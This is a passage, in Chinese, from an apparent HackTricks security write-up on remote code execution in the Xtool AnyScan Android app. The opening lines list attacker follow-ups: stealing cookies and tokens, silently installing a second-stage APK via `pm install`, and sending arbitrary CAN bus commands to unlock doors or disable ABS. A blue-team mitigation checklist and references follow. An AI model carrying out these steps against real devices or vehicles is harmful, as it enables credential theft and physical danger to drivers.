偷取应用程序存储的会话cookie、OAuth令牌或JWT。 +* 投放第二阶段APK并通过`pm install`静默安装(应用程序已经具有`REQUEST_INSTALL_PACKAGES`)。 +* 滥用任何连接的硬件 – 在AnyScan场景中,您可以发送任意**OBD-II / CAN总线命令**(解锁车门、禁用ABS等)。 + +--- +### 检测与缓解清单(蓝队) + +* 永远不要使用自定义TrustManager/HostnameVerifier发布生产版本,这会禁用证书验证。 +* 不要从Google Play以外下载可执行代码。如果您*必须*,请使用相同的**apkSigning v2**密钥签署每个插件,并在加载之前验证签名。 +* 用**AES-GCM**和服务器端轮换密钥替换弱/硬编码的加密。 +* 验证下载归档的完整性(签名或至少SHA-256)。 + +--- +## 参考文献 + +- [NowSecure – 在Xtool AnyScan应用中发现的远程代码执行](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) +- [Android – 不安全的TrustManager模式](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) + +{{#include ../../banners/hacktricks-training.md}}